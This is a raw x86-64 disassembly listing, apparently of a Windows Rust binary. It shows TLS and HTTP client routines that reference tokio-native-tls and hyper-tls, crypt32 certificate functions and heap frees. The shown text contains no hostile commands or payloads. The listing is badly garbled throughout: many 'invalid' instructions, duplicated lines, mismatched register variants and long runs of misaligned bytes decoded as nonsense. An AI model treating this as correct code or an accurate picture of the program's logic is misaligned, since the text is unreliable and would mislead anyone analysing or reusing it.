call fcn.1400cf670
movzx eax, byte [r15 + 0x18]
mov byte [rsp + 0x3e8], al
movzx ecx, byte [r15 + 0x19]
mov byte [rsp + 0x3e9], cl
cmp byte [r15 + 0x1a], 0
je 0x1400b4c00
movzx eax, byte [0x14017d2b0]
mov edx, 0x10
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400b5323
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, qword [rsp + 0x3d8]
test rcx, rcx
movabs rbx, 0x8000000000000000
je 0x1400b4c8e
lock dec qword [rcx]
lea r15, [0x14013ec60]
je 0x1400b4c6b
jmp 0x1400b4c9e
mov r8, qword [rsp + 0x4a8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x4b8]
shl rax, 1
test rax, rax
je 0x1400b45ae
mov r8, qword [rsp + 0x4c0]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0x490]
mov rbx, qword [rsp + 0x498]
test rbx, rbx
je 0x1400b471f
xor r12d, r12d
mov r13, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop dword [rax]
mov rcx, qword [r15 + r12*8]
inc r12
call r13
cmp rbx, r12
jne 0x1400b4710
cmp qword [rsp + 0x488], 0
je 0x1400b473c
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x90]
call fcn.1400adf40
mov r13d, 2
mov rbx, r14
lea r15, [rdi + 0x208]
mov byte [rdi + 0x201], 1
mov qword [rdi + 0xd0], r13
mov qword [rdi + 0xd8], rbx
mov qword [rdi + 0xe0], r14
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmm1, xmmword [rsp + 0xd0]
movups xmmword [rdi + 0xe8], xmm0
movups xmmword [rdi + 0xf8], xmm1
mov rax, qword [rsp + 0xe0]
mov qword [rdi + 0x108], rax
mov qword [rdi + 0x110], 0
lea r12, [rdi + 0x118]
lea rdx, [rsp + 0x6f0]
mov r8d, pe_nt_image_headers64
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rdi + 0x208], 2
je 0x1400b47e2
mov rcx, r15
call fcn.1400adf40
mov r13, qword [rdi + 0xd0]
test r13, r13
je 0x1400b48cd
lea rdx, [rdi + 0xd8]
cmp r13, 1
jne 0x1400b4937
mov rbx, qword [rdi + 0x208]
mov qword [rdi + 0x208], 2
cmp rbx, 2
je 0x1400b52e1
lea rax, [rdi + 0x210]
lea r15, [rdi + 0x248]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmmword [rsp + 0x298], xmm2
movups xmmword [rsp + 0x288], xmm1
movups xmmword [rsp + 0x278], xmm0
lea rcx, [rsp + 0x2b0]
mov r8d, pe_nt_image_headers64
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x270], rbx
mov qword [rsp + 0x2a8], r13
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x270]
call fcn.1400b5370
cmp qword [rsp + 0x140], 0
mov rbp, qword [rsp + 0x148]
mov r14, qword [rsp + 0x150]
je 0x1400b4951
cmp rbp, 2
jne 0x1400b4b1b
mov rbp, qword [rdi + 0xd8]
mov r14, qword [rdi + 0xe0]
mov r13, qword [rdi + 0xe8]
mov r15, qword [rdi + 0xf0]
movups xmm0, xmmword [rdi + 0xf8]
movaps xmmword [rsp + 0x100], xmm0
mov rax, qword [rdi + 0x108]
mov rbx, qword [rdi + 0x110]
lea rcx, [rsp + 0x7d8]
mov r8d, pe_nt_image_headers64
mov rdx, r12
mov r12, rax
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + 0x200], 1
cmp rbp, 3
jne 0x1400b4a36
mov ebp, 1
xor r14d, r14d
jmp 0x1400b44fa
mov r13, qword [rsp + 0x158]
mov r15, qword [rsp + 0x160]
movups xmm0, xmmword [rsp + 0x168]
movaps xmmword [rsp + 0x110], xmm0
mov r12, qword [rsp + 0x178]
lea rdx, [rsp + 0x180]
lea rbx, [rsp + 0x5d8]
mov r8d, 0xf0
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x398]
mov r8d, 0xf0
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x580], xmm0
lea rdx, [rsp + 0x3a0]
lea rcx, [rsp + 0x488]
mov r8d, pe_nt_image_headers64
call sub.VCRUNTIME140.dll_memcpy
cmp rbp, 3
je 0x1400b4bc5
mov r15, rbp
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0xf0], xmm0
mov ebp, 2
cmp qword [rdi], 0
jne 0x1400b4ad8
mov byte [rdi + 0x49], al
mov rax, rsi
movaps xmm6, xmmword [rsp + 0xa90]
add rsp, 0xaa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp byte [r15 + 0x1b], 0
movabs rbx, 0x8000000000000000
je 0x1400b4cb6
mov rcx, qword [r15 + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov r15, rax
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400b5340
mov qword [rax], 1
mov qword [rax + 8], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x10], r15
mov rcx, qword [rsp + 0x3d8]
test rcx, rcx
je 0x1400b4c97
lock dec qword [rcx]
lea r15, [0x14013ecc0]
jne 0x1400b4c9e
mov rcx, qword [rsp + 0x3d8]
mov rdx, qword [rsp + 0x3e0]
mov r12, r14
mov r14, rax
call fcn.1400049d0
mov rax, r14
mov r14, r12
jmp 0x1400b4c9e
lea r15, [0x14013ec60]
jmp 0x1400b4c9e
lea r15, [0x14013ecc0]
and ah, byte [rax - 0x76b7fff8]
test byte [rax + rbx*8], ah
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x44], cl
and al, 0xe0
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x84
and al, 0xe8
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x74], cl
and al, 0xc0
add eax, dword [rax]
add byte [rdi], cl
adc byte [rsp + 0x90], al
mov qword [rsp + 0x3d8], rax
mov qword [rsp + 0x3e0], r15
movzx eax, byte [rsp + 0x3e8]
lea r9, [rsp + 0x3c0]
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movups xmm2, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x130], xmm2
movaps xmmword [rsp + 0x120], xmm1
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x110], xmm0
mov r12, qword [rsp + 0x3a8]
xor ecx, ecx
mov r8d, 0
test al, al
je 0x1400b4d0a
mov r8, qword [rsp + 0x3b0]
cmp r12, rbx
cmove r8, rcx
lea rcx, [rsp + 0x270]
mov rdx, r14
fmul qword [rdi + rcx + 0x44]
ror dword [rax - 0x73], 0x8c
and al, 0x70
add al, byte [rax]
add byte [rcx + rcx*4 - 0xe], cl
call fcn.1400cfc90
mov r13, qword [rsp + 0x280]
cmp r13, 2
jne 0x1400b4d7b
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x148], 2
and al, 0x48
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*2], ah
and al, 0x50
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rax*2], ah
and al, 0x40
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rdx], fs
and al, 0x10
add dword [rax], eax
add al, ch
fcom qword [rcx + 0x49f0ffff]
invalid
push rax
dec qword [r14]
and al, 0x48
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*2], ah
and al, 0x50
and al, 0x50
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rax*2], ah
and al, 0x40
and al, 0x40
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rdx], fs
and al, 0x10
and al, 0x10
add dword [rax], eax
add al, ch
fcom qword [rcx + 0x49f0ffff]
invalid
push rax
dec qword [r14]
invalid
jne 0x1400b50a0
xor al, byte [rbx]
add byte [rax], al
mov rcx, r14
call fcn.1400ae740
jmp 0x1400b50a0
movaps xmm6, xmmword [rsp + 0x270]
mov r15d, dword [rsp + 0x288]
mov edi, dword [rsp + 0x288]
add byte [rbx + rcx*4 - 0x44], al
and al, 0x88
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add al, byte [rax]
add byte [rax - 0x77], cl
and al, 0x50
mov edi, dword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x398], 0
je 0x1400b4dd2
mov rcx, qword [rsp + 0x3a0]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0x80], rax
mov eax, 1
mov qword [rsp + 0x30], rax
xor byte [rbx + rcx*4 - 0x5c], cl
and al, 0xa8
add eax, dword [rax]
add byte [rcx + 0x39], cl
cmp esp, ebx
xor byte [rbx + rcx*4 - 0x5c], cl
and al, 0xa8
add eax, dword [rax]
add byte [rcx + 0x39], cl
cmp esp, ebx
jne 0x1400b4dde
cmp esp, ebx
jne 0x1400b4dde
jmp 0x1400b4e41
xor eax, eax
mov qword [rsp + 0x30], rax
cmp r12, rbx
cmp esp, ebx
cmp esp, ebx
je 0x1400b4dd0
mov r12, qword [rsp + 0x3b0]
mov al, 3
add byte [rax], al
mov rbx, qword [rsp + 0x3b8]
add byte [rax], al
test rbx, rbx
je 0x1400b4e27
mov rax, rbx
shr rax, 0x3e
jne 0x1400b535c
lea rbp, [rbx + rbx]
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, rbp
call fcn.1400e0010
test rax, rax
jne case.0x140069415.326
mov ecx, 2
mov rdx, rbp
call fcn.140104360
mov eax, 2
xor ebp, ebp
mov qword [rsp + 0x70], rax
mov rcx, rax
mov rdx, r12
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [rsp + 0x3e8]
movzx ecx, byte [rsp + 0x3e9]
add eax, dword [rax]
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0xd8
add eax, dword [rax]
add byte [rax - 0x7b], cl
in eax, dx
mov dh, 0x84
and al, 0xe8
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x8c
and al, 0xe9
add eax, dword [rax]
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0xd8
add eax, dword [rax]
add byte [rax - 0x7b], cl
in eax, dx
je 0x1400b4eaf
mov rdx, qword [rsp + 0x3e0]
loopne 0x1400b4e67
add byte [rax], al
mov qword [rsp + 0x78], rdx
mov dword [rsp + 0x78], edx
lock inc qword [rbp]
jle case.0x1400b40f6.2
test r13, r13
mov byte [rsp + 0x2f], al
mov byte [rsp + 0x2e], cl
je 0x1400b4ebc
test r15d, r15d
je 0x1400b4ec7
movzx eax, byte [0x14017d2b0]
test byte [rax + rax], cl
xor ecx, ecx
mov rdx, r15
call fcn.1400e0010
test rax, rax
mov r13, qword [rsp + 0x50]
je 0x1400b534f
mov r12, rax
mov rdx, r13
jmp 0x1400b4ed9
test r13, r13
mov byte [rsp + 0x2f], al
mov byte [rsp + 0x2e], cl
jne 0x1400b4e83
mov r12d, 1
xor r15d, r15d
jmp 0x1400b4eed
mov r12d, 1
lea rdx, [0x14016f768]
mov r13, qword [rsp + 0x50]
mov rcx, r12
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add al, 0
add al, 0
mov rcx, r13
call qword [sym.imp.secur32.dll_FreeContextBuffer]
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x3c0], rax
je 0x1400b4f33
mov eax, 0
add byte [rax], al
add byte [rax + 0x24843948], al
rol byte [rbx], 0
add byte [rdx + rsi + 0x48], dh
mov rdx, qword [rsp + 0x3c8]
mov edx, dword [rsp + 0x3c8]
mov r8, qword [rsp + 0x3d0]
lea rcx, [rsp + 0x140]
lea ecx, [rsp + 0x140]
call fcn.1400afe10
mov rax, qword [rsp + 0x140]
movups xmm0, xmmword [rsp + 0x148]
movaps xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movups xmm2, xmmword [rsp + 0xb0]
movups xmmword [rsp + 0x2a0], xmm2
movups xmmword [rsp + 0x290], xmm1
movups xmmword [rsp + 0x280], xmm0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x270], rcx
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x278], rcx
mov qword [rsp + 0x2b0], 0
mov qword [rsp + 0x2b8], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x2d0], 0
mov dword [rsp + 0x2d0], 0
mov qword [rsp + 0x2d8], 1
movups xmmword [rsp + 0x2e0], xmm0
mov qword [rsp + 0x2f0], r15
mov qword [rsp + 0x2f8], r12
mov qword [rsp + 0x300], r15
mov qword [rsp + 0x308], 0
mov qword [rsp + 0x310], rbx
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x318], rcx
add byte [rax], al
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], rax
movaps xmm0, xmmword [rsp + 0x40]
test byte [rax + rbp], ah
add eax, dword [rax]
add byte [rdi], cl
sub byte [rsp + 0x40], al
movups xmmword [rsp + 0x330], xmm0
mov dword [rsp + 0x340], 0x10000
mov byte [rsp + 0x344], 0
add eax, dword [rax]
add byte [rax], al
add bh, al
test byte [rax + rax*2], ah
add eax, dword [rax]
add byte [rax], al
add byte [rcx], al
add dh, al
test byte [rsp + rax*2], ah
add eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x358], r14
movups xmmword [rsp + 0x360], xmm6
mov qword [rsp + 0x370], rbp
mov rax, qword [rsp + 0x78]
js 0x1400b5092
mov dword [rsp + 0x378], eax
mov qword [rsp + 0x380], 1
mov qword [rsp + 0x388], 0
add byte [rdi], cl
mov dh, 0x44
and al, 0x2f
js 0x1400b5092
add byte [rdi], cl
mov dh, 0x44
and al, 0x2f
mov byte [rsp + 0x390], al
movzx eax, byte [rsp + 0x2e]
and al, 0x2e
and al, 0x2e
mov byte [rsp + 0x391], al
mov word [rsp + 0x392], 0x100
add dword [rax - 0x73], ecx
mov word [rax + rax*2], fs
and al, 0x40
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x70
add al, byte [rax]
add al, ch
rol byte [rdx], 1
add byte [rax], al
add eax, dword [rax]
add byte [rsi - 0x39], ah
test byte [rdx + rdx*4], ah
add eax, dword [rax]
add byte [rax], al
add dword [rax - 0x73], ecx
mov word [rax + rax*2], fs
and al, 0x40
and al, 0x40
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x70
add al, byte [rax]
add al, ch
rol byte [rdx], 1
add byte [rax], al
mov rax, qword [rsp + 0x140]
mov rbx, qword [rsp + 0x148]
pushfq
and al, 0x48
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x50
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x30
pushfq
and al, 0x48
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x50
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x30
test rax, rax
test eax, eax
sal byte [rsi + rax + 0x48], 0x83
sti
add dh, byte [rbx + rbx + 0x48]
lea edx, [rsp + 0x158]
xchg esp, eax
and al, 0x58
add dword [rax], eax
add byte [rax], al
je 0x1400b50c8
cmp rbx, 2
je 0x1400b50e3
lea rdx, [rsp + 0x158]
xchg esp, eax
and al, 0x58
add dword [rax], eax
add byte [rax], al
invalid
invalid
mov word [rax + rbx*8], fs
and al, 0xd8
add byte [rax], al
lea rcx, [rsp + 0x5d8]
and al, 0xd8
add eax, 0xb8410000
mov r8d, 0x118
sbb byte [rcx], al
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x398]
call fcn.1400b0020
invalid
dec dword [rax - 0x75]
test byte [rax + riz*4], ah
add al, 0
invalid
cwde
add eax, dword [rax]
add al, ch
xor byte [rdi - 0x74b70001], ch
invalid
dec dword [rax - 0x75]
test byte [rax + riz*4], ah
add al, 0
add byte [rax - 0x2f], cl
shl rax, 1
invalid
invalid
shl rax, 1
test rax, rax
test eax, eax
jne 0x1400b5127
mov rax, qword [rsp + 0x4b8]
shl rax, 1
test rax, rax
jne case.0x140096763.126
mov r15, qword [rsp + 0x490]
mov r13, qword [rsp + 0x498]
test r13, r13
jne 0x1400b517a
mov r8, qword [rsp + 0x4a8]
mov rcx, qword [0x14017d208]
or al, 0
add byte [rax - 0x75], cl
or eax, 0xc80d2
or al, 0
or al, 0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
ret 0x5a2
add byte [rax - 0x75], cl
test byte [rax + rdi*4], ah
add al, 0
invalid
ret 0x5a2
add byte [rax], al
shl rax, 1
shl eax, 1
test rax, rax
je 0x1400b5110
mov r8, qword [rsp + 0x4c0]
mov rcx, qword [0x14017d208]
or byte [rax + rax], 0x31
invalid
or byte [rax + rax], 0x31
sar bh, cl
adc eax, 0x5a29b
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0x490]
mov r13, qword [rsp + 0x498]
mov ebp, dword [rsp + 0x498]
mov ebp, dword [rsp + 0x498]
test r13, r13
je 0x1400b519f
xor ebp, ebp
mov r14, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
xor eax, 0x5a03d
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, qword [r15 + rbp*8]
inc rbp
invalid
call r14
cmp r13, rbp
jne 0x1400b5190
invalid
cmp qword [rsp + 0x488], 0
je 0x1400b51bc
add byte [rdx + rdx + 0x48], dh
mov ecx, dword [0x14017d208]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
invalid
invalid
movabs byte [0x30247c83480005], al
cmp qword [rsp + 0x30], 0
mov r14, r12
je 0x1400b5242
cmp rbx, 2
je 0x1400b4749
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x5d8]
mov r8d, 0x118
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd8
add eax, 0xb8410000
sbb byte [rcx], al
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x170]
movups xmm0, xmmword [rsp + 0x140]
add byte [rax], al
add byte [rax], al
movups xmm1, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xd0], xmm1
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + riz*2], ah
invalid
add dword [rax], eax
add byte [rax], al
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + riz*2], ah
invalid
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xe0], rax
invalid
invalid
mov word [rax + rsi*8], fs
invalid
invalid
add byte [rax], al
mov qword [rsp + 0xe0], rax
add byte [rax], al
lea rcx, [rsp + 0x6f0]
mov r8d, pe_nt_image_headers64
call sub.VCRUNTIME140.dll_memcpy
fld qword [rax + rax]
mov r13d, 1
add byte [rax], al
invalid
call 0x1280b5233
mov esi, 0x410004dd
fld qword [rax + rax]
mov r13d, 1
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
jmp 0x1400b4752
adc ch, dh
invalid
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x5d8]
invalid
invalid
add byte [rax], al
mov word [rax + rax*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd8
fadd dword [0xf84c5254]
fadd dword [0xf84c5254]
mov r8d, 0x118
sbb byte [rcx], al
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x170]
movups xmm0, xmmword [rsp + 0x140]
adc byte [rsp + 0x140], al
adc byte [rsp + 0x140], al
test byte [rax + rax*2], ah
and al, 0x40
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x150], cl
movups xmm1, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xd0], xmm1
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xd0], ecx
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xe0], rax
invalid
invalid
mov word [rax + rsi*8], fs
and al, 0xf0
mov rax, qword [rsp + 0x160]
mov eax, dword [rsp + 0x160]
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x6f0]
lea ecx, [rsp + 0x6f0]
and al, 0xf0
invalid
add byte [rax], al
mov r8d, pe_nt_image_headers64
add byte [rax], al
add al, ch
fld qword [r8 + rax]
add al, 0
and al, 0xf0
invalid
add byte [rax], al
add al, ch
fld qword [r8 + rax]
add al, 0
add al, 0
xor r13d, r13d
in eax, dx
jmp 0x1400b4752
movabs byte [0x42510d8d48fffff4], al
or byte [rax], al
invalid
lea rcx, str.future_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
or byte [rax], al
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x140139590]
lea eax, [0x140139590]
rol byte [rdx + 8], cl
add byte [rdx + 0x1e], bh
mov edx, 0x1e
mov edx, 0x1e
call fcn.140104a60
add al, 0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_tls_0.5.0_srcclient.rs_
or eax, 0x843f1
or byte [r8], al
call fcn.140104c30
mov ecx, 1
mov rdx, r14
mov edx, esi
mov edx, esi
call fcn.140104360
invalid
lea rcx, str.future_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea ecx, str.future_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
or byte [rax], al
lea r8, [0x14013ea40]
mov edx, 0x1e
add byte [rdx + 0x1e], bh
call fcn.140104a60
lea rcx, [0x14013a500]
lea ecx, [0x14013a500]
call fcn.140104c30
stc
add al, 0
mov ecx, 8
mov edx, 0x20
add al, ch
insb byte [rdi], dx
invalid
add al, 0
add al, ch
insb byte [rdi], dx
invalid
mov ecx, 8
mov edx, 8
call fcn.140104380
invalid
add byte [rcx + 8], bh
mov ecx, 8
add byte [rax], al
mov edx, 0x10
call fcn.140104380
add byte [rax], al
add al, ch
invalid
lea rcx, [0x14013a560]
or eax, 0x85227
call fcn.140104c30
ud2
mov ecx, 8
mov edx, 0x18
sbb byte [rax], al
add byte [rax], al
sbb byte [rax], al
add byte [rax], al
call fcn.140104380
mov ecx, 1
mov rdx, r15
call fcn.140104360
call fcn.140010910
int3
and al, 0x28
call fcn.1400b24e0
cmp dword [rsp + 0x28], 2
jne case.0x14005101a.402
test dword [rbp + 0x48000000], ecx
lea ecx, [rsi + 8]
mov r8d, 0x128
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi], 1
mov eax, ebx
and eax, 3
cmp eax, 1
clc
add dword [rbp + 0x62], esi
lea rsi, [rbx - 1]
mov rdi, qword [rbx - 1]
mov rbx, qword [rbx + 7]
pop rbx
invalid
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b53ff
pop rbx
invalid
cmp qword [rbx + 0x10], 0x11
jb 0x1400b53ed
adc dword [rdx + 4], esi
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
clc
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
mov ecx, dword [0x14017d208]
jle 0x1400b5411
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
xor edx, edx
mov r8, rsi
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400b542c
lea rcx, [rsi + 8]
lea ecx, [rsi + 8]
mov r8d, 0x128
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
add al, 0
add al, 0
mov qword [rsi], 0
invalid
add byte [rax], al
add byte [rax], al
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
add byte [rax - 0x77], cl
pop rsi
adc byte [rax - 0x39], cl
invalid
add dword [rax], eax
add byte [rax], al
mov rcx, rdi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
jmp fcn.1400ae3e0
invalid
invalid
invalid
invalid
adc eax, 0x59f7e
mov rsi, qword [rdi + 0x10]
test rsi, rsi
invalid
je 0x1400b54bf
div byte [rsp + rsi + 0x48]
mov edi, dword [rdi + 0x18]
mov rdi, qword [rdi + 0x18]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400b54bf
cmp qword [rdi + 0x10], 0x11
jb 0x1400b54a6
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x59f41
nop
add rsp, 0x28
pop rdi
pop rsi
ret
adc byte [rax - 0x75], cl
push rcx
sbb bl, al
int3
ret
test byte [rsi - 0x48aa45b8], 0x31
push rbp
mov bh, 0x31
jns 0x1400b54b6
xchg dword [ebx + eax*8 - 0x34], edi
int3
int3
int3
mov esp, 0xcc00059c
int3
int3
add eax, 0x48c03100
add esp, 0x28
ret
int3
adc eax, 0x891ca
mov r8d, 0x18
jmp rax
int3
fist dword [rdi]
pop rax
outsd dx, dword [rsi]
movsb byte [rdi], byte [rsi]
invalid
push rsi
push rdi
sub rsp, 0x28
mov rsi, rcx
movzx eax, byte [rcx + 0xeb0]
mov al, 0xe
add byte [rax], al
mov al, 0xe
add byte [rax], al
test eax, eax
je 0x1400b55ca
cmp eax, 3
jne case.0x1400937fa.165
lea rcx, [rsi + 0x70]
call fcn.1400b8a80
out dx, al
xor al, 0
add byte [rax], al
out dx, al
xor al, 0
add byte [rax], al
mov rax, qword [rsi + 0x58]
add byte [rax], al
mov rax, qword [rsi + 0x58]
mov eax, dword [rsi + 0x58]
lock dec qword [rax]
jne 0x1400b55a5
mov rcx, qword [rsi + 0x58]
call fcn.140036760
adc eax, edi
invalid
adc eax, edi
dec dword [rax - 0x75]
invalid
mov rax, qword [rsi + 0x60]
lock dec qword [rax]
or byte [rbp + 0x13], dh
invalid
or byte [rbp + 0x13], dh
mov rcx, qword [rsi + 0x60]
mov ecx, dword [rsi + 0x60]
mov rdx, qword [rsi + 0x68]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.1400049d0
hlt
invalid
hlt
nop
add rsp, 0x28
pop rdi
pop rsi
ret
mov rax, qword [rsi + 0x58]
lock dec qword [rax]
je 0x1400b563e
mov rax, qword [rsi + 0x60]
lock dec qword [rax]
je 0x1400b5651
invalid
cmp byte [rsi], 2
jb 0x1400b560b
mov rdi, qword [rsi + 8]
lea rcx, [rdi + 0x18]
invalid
invalid
sbb byte [r8 - 0x75], r9b
invalid
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14017d208]
jl 0x1400b560b
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
jl 0x1400b560b
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x28]
lea ecx, [rsi + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
adc byte [rax - 0x75], r9b
push rsi
sbb byte [rbx + rcx*4 + 0x46], cl
and bh, bh
push rax
adc byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rsi + 0x30]
mov eax, dword [rsi + 0x30]
xor byte [rax - 0x75], r9b
push rsi
mov rdx, qword [rsi + 0x38]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x40]
add rsi, 0x48
cmp byte [rax - 0x75], cl
adc byte [rbx + rcx*4 + 0x46], cl
add rsi, 0x48
add rsi, 0x48
add esi, 0x48
mov rcx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
jmp rax
mov rcx, qword [rsi + 0x58]
pop rax
call fcn.140036760
mov rax, qword [rsi + 0x60]
invalid
lock dec qword [rax]
jne 0x1400b55de
invalid
sbb dword [rcx], edx
clc
dec dword [rax - 0x75]
invalid
invalid
mov rcx, qword [rsi + 0x60]
mov ecx, dword [rsi + 0x60]
mov rdx, qword [rsi + 0x68]
call fcn.1400049d0
cmp byte [rsi], 2
add dh, byte ds:[rbx - 0x80]
add dh, byte ds:[rbx - 0x80]
jmp 0x1400b560b
int3
push rdi
push r14
push rsi
push rsi
push r13
push r12
push rsp
push rsp
push rsi
push rdi
